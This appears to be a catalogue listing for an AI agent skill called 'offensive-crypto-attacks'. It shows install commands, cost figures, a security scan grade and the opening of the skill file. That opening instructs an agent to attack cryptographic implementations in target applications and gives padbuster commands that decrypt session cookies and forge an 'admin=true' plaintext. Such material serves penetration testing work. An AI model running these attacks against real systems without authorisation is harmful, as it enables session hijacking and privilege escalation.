Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-crypto-attacksgit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-crypto-attacks)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-crypto-attacks"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-crypto-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-crypto-attacks"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-crypto-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00199 | $0.05098 |
| Opus 5.5 | $0.00080 | $0.02039 |
| Sonnet 5.5 | $0.00040 | $0.01020 |
| Haiku 4.5 | $0.00020 | $0.00510 |
Grade A, and why
offensive-crypto-attacks scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp = requests.get(url, params={"data": payload}) How it starts
The opening of the file, as written. The whole thing — 517 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cryptographic Implementation Attacks
You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.
Quick Workflow
- Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
- Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
- Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
- Select and configure the appropriate tool or custom script.
- Execute the attack, decrypt or forge the target value.
- Document the cryptographic weakness, its root cause, and the remediation path.
Padding Oracle Attacks
Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.
Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.
Use padbuster for automated exploitation against web applications:
# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid"
# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid" \
-plaintext "admin=true;user=attacker"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 517 lines · 199 tokens per session scan A 75a69d2a1e48
offensive-crypto-attacks is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 199 tokens to every session and 5,098 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.
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